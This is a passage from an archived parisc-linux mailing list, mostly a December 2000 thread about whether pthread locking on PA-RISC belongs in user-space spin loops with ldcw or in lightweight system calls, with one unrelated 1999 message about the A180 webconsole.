        jsm@udlkern.fc.hp.com (John Marvin), parisc-linux@thepuffingroup.com
To: sieler@allegro.com (Stan Sieler)
Original-X-From: alan@lxorguk.ukuu.org.uk  Sun Dec 17 17:46:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA06291
	for <parisc-linux@puffin.external.hp.com>; Sun, 17 Dec 2000 17:46:39 -0700
Original-Received: (qmail 15240 invoked by uid 15267); 18 Dec 2000 00:49:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15233 invoked from network); 18 Dec 2000 00:49:34 -0000
Original-Received: from router-100m.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.17)
  by mailserv2.iuinc.com with SMTP; 18 Dec 2000 00:49:34 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 147oHg-0004n8-00; Mon, 18 Dec 2000 00:36:08 +0000
In-Reply-To: <200012180029.QAA03444@opus.allegro.com> from "Stan Sieler" at Dec 17, 2000 04:29:50 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8913

> The apparent advantages are *strictly* short term.  A single mistake
> using a buzz lock from user code in a single process on a single computer
> can cost more time than all properly implemented buzz locks ever save.

The cost of a syscall against a rarely contended lock is huge. So you
test in user space, you spin enough times to cover SMP contentions then
you leap into the kernel since its a context switch away while the
other guy held the lock, which at maybe a 30 clock window is unlikely



From - Thu Nov 08 21:14:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A180 Ignition Howto
Date: 12 May 1999 01:53:50 +0200
Organization: Church of Emacs
Lines: 22
Approved: news@gmane.org
Message-ID: <yq1so939n8x.fsf@jaguar.socsci.auc.dk>
References: <Pine.LNX.3.96.990511194053.3178B-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619439 8994 80.91.229.3 (22 Nov 2014 01:23:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:59 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@redhat.com>
Original-X-From: mkp@socsci.auc.dk  Tue May 11 17:53:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA10778
	for <parisc-linux@puffin.external.hp.com>; Tue, 11 May 1999 17:53:53 -0600
Original-Received: (qmail 13430 invoked by uid 15267); 11 May 1999 23:53:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13422 invoked from network); 11 May 1999 23:53:35 -0000
Original-Received: from bentley.socsci.auc.dk (exim@130.225.60.48)
  by mailserv2.iuinc.com with SMTP; 11 May 1999 23:53:35 -0000
Original-Received: from jaguar.socsci.auc.dk ([130.225.60.49] ident=root)
	by bentley.socsci.auc.dk with esmtp (Exim 2.05 #2)
	id 10hMLO-0006Ne-00; Wed, 12 May 1999 01:53:50 +0200
Original-Received: (from mkp@localhost)
	by jaguar.socsci.auc.dk (8.9.3/8.8.8) id BAA24184;
	Wed, 12 May 1999 01:53:50 +0200
Original-Sender: mkp@socsci.auc.dk
In-Reply-To: Alex deVries's message of "Tue, 11 May 1999 19:46:41 -0400 (EDT)"
Original-Lines: 21
X-Mailer: Gnus v5.6.44/XEmacs 20.4 - "Emerald"
Xref: news.gmane.org gmane.linux.ports.parisc:8914

>>>>> "Alex" == Alex deVries <adevries@redhat.com> writes:

>> The A180 has a builtin webconsole. On the back of the system unit
>> there are two RJ45 connectors. One of them is regular ethernet
>> (DEC2114x btw. Should be piece of cake to get running) and the
>> other is for the webconsole.

Alex> How did you know that it was a tulip?

Motherboard chip spotting...


Alex> Incidentally, Christopher Beard told me over lunch that he got
Alex> the kernel building under HPUX, which would solve the linking
Alex> problems we were worried about.

Great!

-- 
Martin Kasper Petersen			BOFH, IC1&2, Aalborg University, DK
mailto:mkp@SunSITE.auc.dk		http://SunSITE.auc.dk/~mkp/


From - Thu Nov 08 21:14:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Sun, 17 Dec 2000 16:48:52 -0800 (PST)
Lines: 24
Approved: news@gmane.org
Message-ID: <200012180048.QAA03547@opus.allegro.com>
References: <E147oHg-0004n8-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619440 8999 80.91.229.3 (22 Nov 2014 01:24:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:00 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox), matthew@wil.cx (Matthew Wilcox),
        jes@linuxcare.com (Jes Sorensen), alan@linuxcare.com.au (Alan Modra),
        jsm@udlkern.fc.hp.com (John Marvin), parisc-linux@thepuffingroup.com
To: alan@lxorguk.ukuu.org.uk (Alan Cox)
Original-X-From: sieler@opus.allegro.com  Sun Dec 17 17:47:12 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA06549
	for <parisc-linux@puffin.external.hp.com>; Sun, 17 Dec 2000 17:47:12 -0700
Original-Received: (qmail 15651 invoked by uid 15267); 18 Dec 2000 00:50:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15644 invoked from network); 18 Dec 2000 00:50:07 -0000
Original-Received: from opus.allegro.com (209.10.39.50)
  by mailserv2.iuinc.com with SMTP; 18 Dec 2000 00:50:07 -0000
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id QAA03547;
	Sun, 17 Dec 2000 16:48:52 -0800
In-Reply-To: <E147oHg-0004n8-00@the-village.bc.nu> from "Alan Cox" at Dec 18, 2000 12:36:06 AM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:8915

Hi Alan,

As Lamont Jones agreed, lightweight system calls exist, and their
cost is on the order of a couple of instructions (typically the equivalent
of a missed branch prediction).  HP-UX has some, Lamont speaks from experience
(as do I).

> > The apparent advantages are *strictly* short term.  A single mistake
> > using a buzz lock from user code in a single process on a single computer
> > can cost more time than all properly implemented buzz locks ever save.
> 
> The cost of a syscall against a rarely contended lock is huge. So you

Thus, it is *NOT* true that a syscall cost must be "huge".

You can say: I don't want to change it, or "we've always done it that way".
but, the one thing you can't accurately say is "this is the right way".

Been there, learned that, tried to share it with you, and am now 
giving up on it.

-- 
Stan (still right :) Sieler


From - Thu Nov 08 21:14:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Mon, 18 Dec 2000 00:59:09 +0000 (GMT)
Lines: 12
Approved: news@gmane.org
Message-ID: <E147oe0-0004pC-00@the-village.bc.nu>
References: <200012180048.QAA03547@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619440 9004 80.91.229.3 (22 Nov 2014 01:24:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:00 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox), matthew@wil.cx (Matthew Wilcox),
        jes@linuxcare.com (Jes Sorensen), alan@linuxcare.com.au (Alan Modra),
        jsm@udlkern.fc.hp.com (John Marvin), parisc-linux@thepuffingroup.com
To: sieler@allegro.com (Stan Sieler)
Original-X-From: alan@lxorguk.ukuu.org.uk  Sun Dec 17 17:56:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA07298
	for <parisc-linux@puffin.external.hp.com>; Sun, 17 Dec 2000 17:56:48 -0700
Original-Received: (qmail 22428 invoked by uid 15267); 18 Dec 2000 00:59:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22409 invoked from network); 18 Dec 2000 00:59:42 -0000
Original-Received: from router-100m.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.17)
  by mailserv2.iuinc.com with SMTP; 18 Dec 2000 00:59:42 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 147oe0-0004pC-00; Mon, 18 Dec 2000 00:59:12 +0000
In-Reply-To: <200012180048.QAA03547@opus.allegro.com> from "Stan Sieler" at Dec 17, 2000 04:48:52 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8916

> As Lamont Jones agreed, lightweight system calls exist, and their
> cost is on the order of a couple of instructions (typically the equivalent
> of a missed branch prediction).  HP-UX has some, Lamont speaks from experience
> (as do I).

x86 is about 50 clocks to do a syscall so the maths is strongly in favour
of user mode spins.

> Thus, it is *NOT* true that a syscall cost must be "huge".

On 99.99% of the machines people care about it is 8)


From - Thu Nov 08 21:14:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Sun, 17 Dec 2000 21:43:59 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20001218044410.DA2DE1872C@security.hp.com>
References: <E147oe0-0004pC-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619440 9006 80.91.229.3 (22 Nov 2014 01:24:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:00 +0000 (UTC)
Cc: sieler@allegro.com (Stan Sieler), matthew@wil.cx (Matthew Wilcox),
        jes@linuxcare.com (Jes Sorensen), alan@linuxcare.com.au (Alan Modra),
        jsm@udlkern.fc.hp.com (John Marvin), parisc-linux@thepuffingroup.com,
        lamont@hp.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: lamont@hp.com  Sun Dec 17 21:42:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA08809
	for <parisc-linux@puffin.external.hp.com>; Sun, 17 Dec 2000 21:42:16 -0700
Original-Received: (qmail 28018 invoked by uid 15267); 18 Dec 2000 04:45:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27987 invoked from network); 18 Dec 2000 04:45:09 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 18 Dec 2000 04:45:09 -0000
Original-Received: from security.hp.com (cranston.fc.hp.com [15.1.44.224])
	by atlrel1.hp.com (Postfix) with ESMTP
	id D7CE61E0B; Sun, 17 Dec 2000 23:44:15 -0500 (EST)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.1.44.224])
	by security.hp.com (Postfix) with ESMTP
	id DA2DE1872C; Sun, 17 Dec 2000 21:44:10 -0700 (MST)
In-reply-to: Your message of "Mon, 18 Dec 2000 00:59:09 GMT."
             <E147oe0-0004pC-00@the-village.bc.nu> 
Content-ID: <26748.977114639.1@cranston.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8917

> x86 is about 50 clocks to do a syscall so the maths is strongly in favour
> of user mode spins.

It really comes down to what is the cost to get into kernel mode, as
compared to the cost of dealing with the atomicity problems that come
in when you try to implement locking completely in user space.

In the ideal world, I think that what we want is a libc entry point that
we can use for semaphoring (msem_lock comes to mind...), which the lib
(in arch specific code) either implements in a mixture of user/kernel
space, or (if you can get to kernel mode cheaply), does it in kernel mode
via a lightweight system call.

Note also that spinning in a ldcw is very painful for the bus, and
switching to a ldw-loop followed by ldcw results in starvation in a
greater-than-2-way MP system.

lamont


From - Thu Nov 08 21:14:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philippe Benard <phi@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Mon, 18 Dec 2000 08:10:16 +0100
Organization: WTEC
Lines: 33
Approved: news@gmane.org
Message-ID: <3A3DB858.A56A4FE4@hpfrcu03.france.hp.com>
References: <E147oHg-0004n8-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619441 9007 80.91.229.3 (22 Nov 2014 01:24:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:01 +0000 (UTC)
Cc: Stan Sieler <sieler@allegro.com>, Matthew Wilcox <matthew@wil.cx>,
        Jes Sorensen <jes@linuxcare.com>, Alan Modra <alan@linuxcare.com.au>,
        John Marvin <jsm@udlkern.fc.hp.com>, parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: phi@hpfrcu03.france.hp.com  Mon Dec 18 00:04:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA10051
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Dec 2000 00:04:57 -0700
Original-Received: (qmail 32641 invoked by uid 15267); 18 Dec 2000 07:07:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32633 invoked from network); 18 Dec 2000 07:07:52 -0000
Original-Received: from bbnrel4.net.external.hp.com (155.208.254.68)
  by mailserv2.iuinc.com with SMTP; 18 Dec 2000 07:07:52 -0000
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP
	id 3F8F420AAF; Mon, 18 Dec 2000 08:07:51 +0100 (MET)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu81.france.hp.com [15.129.16.181]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id IAA10752; Mon, 18 Dec 2000 08:07:52 +0100 (MET)
Original-Sender: phi@hpfrcu03.france.hp.com
X-Mailer: Mozilla 4.75 [en] (X11; U; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8918


> The cost of a syscall against a rarely contended lock is huge. So you
> test in user space, you spin enough times to cover SMP contentions then
> you leap into the kernel since its a context switch away while the
> other guy held the lock, which at maybe a 30 clock window is unlikely
> 

I am not sure I understand this thread very well. I would say that going
syscall() for a mutex lock (ldcw, testset, spinlock, whatever you name it) is
not a question of cost it is just simply impossible to avoid. 

Atomically load/clear (or test/set) a word, indeed can be done (should be
done) in user space, but whence one thread got it (for a very short period of
time claim the getter), the getter can be pre-empted anytime owning the lock
word, because and as far as I know, interuption are not disabled when getting
the lock word. The other wanters will then spinlock for a very long period of
time then, what apeared a fast non-syscall get, become a CPU hog, there is one
spinlock running. So I agry with what you said, the wanters want to spin lock
a little on the lock word, because the taker may be rigth sometime and release
it quick, and after a little number of loop count, the wanter goes to sleep on
the lockword, just to get a chance to be awaken, and who take car of
sleep/wakeup, I think it is the OS. Then how to communicate the lock word to
the OS, because the OS must do the atomic load/clear (test/set) on the same
lock word, I think it is with an API, then a libcall/syscall, or
macro/syscall, I think libcall is better since the tiny user space function
can be inlined... I think the pthread API is perfect for this, and this thread
started from pthread. For people who need 'fast' mutual exclusion without the
need to make their prog pthreaded, I think they can implement their own
mutex_lock() syscall, i.e the one to call if you didn't succeeded to get the
lock in user land for a little while.

Phi


From - Thu Nov 08 21:14:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Mon, 18 Dec 2000 11:53:26 +0000 (GMT)
Lines: 11
Approved: news@gmane.org
Message-ID: <E147yrB-0005SH-00@the-village.bc.nu>
References: <20001218044410.DA2DE1872C@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619441 9008 80.91.229.3 (22 Nov 2014 01:24:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:01 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox), sieler@allegro.com (Stan Sieler),
        matthew@wil.cx (Matthew Wilcox), jes@linuxcare.com (Jes Sorensen),
        alan@linuxcare.com.au (Alan Modra),
        jsm@udlkern.fc.hp.com (John Marvin), parisc-linux@thepuffingroup.com,
        lamont@hp.com
To: lamont@hp.com (LaMont Jones)
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Dec 18 05:05:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA13258
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Dec 2000 05:05:23 -0700
Original-Received: (qmail 14226 invoked by uid 15267); 18 Dec 2000 12:08:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14197 invoked from network); 18 Dec 2000 12:08:17 -0000
Original-Received: from router-100m.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.17)
  by mailserv2.iuinc.com with SMTP; 18 Dec 2000 12:08:17 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 147yrB-0005SH-00; Mon, 18 Dec 2000 11:53:29 +0000
In-Reply-To: <20001218044410.DA2DE1872C@security.hp.com> from "LaMont Jones" at Dec 17, 2000 09:43:59 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8919

> we can use for semaphoring (msem_lock comes to mind...), which the lib
> (in arch specific code) either implements in a mixture of user/kernel
> space, or (if you can get to kernel mode cheaply), does it in kernel mode
> via a lightweight system call.
> 
> Note also that spinning in a ldcw is very painful for the bus, and
> switching to a ldw-loop followed by ldcw results in starvation in a
> greater-than-2-way MP system.

That sounds a good reason to do at least most of it in kernel space on hppa


From - Thu Nov 08 21:14:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philippe Benard <phi@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Mon, 18 Dec 2000 13:27:43 +0100
Organization: WTEC
Lines: 20
Approved: news@gmane.org
Message-ID: <3A3E02BF.DC1D0EB5@hpfrcu03.france.hp.com>
References: <E147yrB-0005SH-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619441 9020 80.91.229.3 (22 Nov 2014 01:24:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:01 +0000 (UTC)
Cc: LaMont Jones <lamont@hp.com>, Stan Sieler <sieler@allegro.com>,
        Matthew Wilcox <matthew@wil.cx>, Jes Sorensen <jes@linuxcare.com>,
        Alan Modra <alan@linuxcare.com.au>,
        John Marvin <jsm@udlkern.fc.hp.com>, parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: phi@hpfrcu03.france.hp.com  Mon Dec 18 05:22:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA13957
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Dec 2000 05:22:28 -0700
Original-Received: (qmail 27354 invoked by uid 15267); 18 Dec 2000 12:25:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27298 invoked from network); 18 Dec 2000 12:25:20 -0000
Original-Received: from bbnrel4.net.external.hp.com (155.208.254.68)
  by mailserv2.iuinc.com with SMTP; 18 Dec 2000 12:25:20 -0000
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP
	id D37FE200AF; Mon, 18 Dec 2000 13:25:17 +0100 (MET)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu81.france.hp.com [15.129.16.181]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id NAA04641; Mon, 18 Dec 2000 13:25:18 +0100 (MET)
Original-Sender: phi@hpfrcu03.france.hp.com
X-Mailer: Mozilla 4.75 [en] (X11; U; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8920


> >
> > Note also that spinning in a ldcw is very painful for the bus, and
> > switching to a ldw-loop followed by ldcw results in starvation in a
> > greater-than-2-way MP system.
> 
> That sounds a good reason to do at least most of it in kernel space on hppa
> 


I think LaMont Jones meant that the spinlock loop (in user space AND in kernel
space) must implement a load word loop, and issue a load-and-clear word only
when the lock word looks 'free', this is because the 'write' part of the
load-and-clear word issue a cache broadcast transaction on the bus, so the
loop should be on load-word followed by load-clear-word when it looks free,
after a given amount of loop you got to ask for kernel arbitration, then OS
whence again try to get the lock and if fail go to sleep.

Phi


From - Thu Nov 08 21:14:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Mon, 18 Dec 2000 12:06:16 +0000 (GMT)
Lines: 21
Approved: news@gmane.org
Message-ID: <E147z3b-0005TD-00@the-village.bc.nu>
References: <3A3DB858.A56A4FE4@hpfrcu03.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619442 9042 80.91.229.3 (22 Nov 2014 01:24:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:02 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox), sieler@allegro.com (Stan Sieler),
        matthew@wil.cx (Matthew Wilcox), jes@linuxcare.com (Jes Sorensen),
        alan@linuxcare.com.au (Alan Modra),
        jsm@udlkern.fc.hp.com (John Marvin), parisc-linux@thepuffingroup.com
To: phi@hpfrcu03.france.hp.com (Philippe Benard)
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Dec 18 05:30:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA14423
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Dec 2000 05:30:51 -0700
Original-Received: (qmail 876 invoked by uid 15267); 18 Dec 2000 12:33:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 855 invoked from network); 18 Dec 2000 12:33:44 -0000
Original-Received: from router-100m.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.17)
  by mailserv2.iuinc.com with SMTP; 18 Dec 2000 12:33:44 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 147z3b-0005TD-00; Mon, 18 Dec 2000 12:06:19 +0000
In-Reply-To: <3A3DB858.A56A4FE4@hpfrcu03.france.hp.com> from "Philippe Benard" at Dec 18, 2000 08:10:16 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8921

> I am not sure I understand this thread very well. I would say that going
> syscall() for a mutex lock (ldcw, testset, spinlock, whatever you name it) is
> not a question of cost it is just simply impossible to avoid. 

It comes down to probability

A syscall on x86 gives you a 50+ clock overhead at all times
A user mode test and short spin has a 1 or 2 clock overhead if uncontended
You spin for a few clocks in case the contention is SMP and if that works
you win

IFF the lock is contended then you just spent 100 clocks instead of 50
doing a short spin then entering the kernel.

With 1% contention that means you spent 99 times doing 2 clocks, 1 time doing
100, which is a win over 100 times doing 50 clocks.

Since hppa its apparently 2 clocks to the syscall the numbers are apparently
different.



From - Thu Nov 08 21:14:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Mon, 18 Dec 2000 07:40:33 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20001218144036.5BE0B1872C@security.hp.com>
References: <3A3E02BF.DC1D0EB5@hpfrcu03.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619442 9044 80.91.229.3 (22 Nov 2014 01:24:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:02 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>, LaMont Jones <lamont@hp.com>,
        Stan Sieler <sieler@allegro.com>, Matthew Wilcox <matthew@wil.cx>,
        Jes Sorensen <jes@linuxcare.com>, Alan Modra <alan@linuxcare.com.au>,
        John Marvin <jsm@udlkern.fc.hp.com>, parisc-linux@thepuffingroup.com,
        lamont@hp.com
To: Philippe Benard <phi@hpfrcu03.france.hp.com>
Original-X-From: lamont@hp.com  Mon Dec 18 07:37:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA15805
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Dec 2000 07:37:51 -0700
Original-Received: (qmail 1732 invoked by uid 15267); 18 Dec 2000 14:40:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1723 invoked from network); 18 Dec 2000 14:40:47 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 18 Dec 2000 14:40:47 -0000
Original-Received: from security.hp.com (cranston.fc.hp.com [15.1.44.224])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 30AF41DAFB; Mon, 18 Dec 2000 09:40:45 -0500 (EST)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.1.44.224])
	by security.hp.com (Postfix) with ESMTP
	id 5BE0B1872C; Mon, 18 Dec 2000 07:40:35 -0700 (MST)
In-reply-to: Your message of "Mon, 18 Dec 2000 13:27:43 +0100."
             <3A3E02BF.DC1D0EB5@hpfrcu03.france.hp.com> 
Content-ID: <29361.977150433.1@cranston.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8922

> I think LaMont Jones meant that the spinlock loop (in user space AND in kerne
> space) must implement a load word loop, and issue a load-and-clear word only
> when the lock word looks 'free', this is because the 'write' part of the
> load-and-clear word issue a cache broadcast transaction on the bus, so the
> loop should be on load-word followed by load-clear-word when it looks free,

That was one of the first solutions tried in HP-UX, and it resulted in
processor 4 not getting any time (3 wasn't much better), due to the way
that bus arbitration works (it favors one end of the bus.)

The current semaphore operations in the HP-UX kernel do not use ldcw: they
use stb and ldw in some interesting orders (which break when we get weak
ordering with IA64, but then we'll have a low-cost test-and-set.)

lamont


From - Thu Nov 08 21:14:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Mon, 18 Dec 2000 07:49:32 -0700
Lines: 23
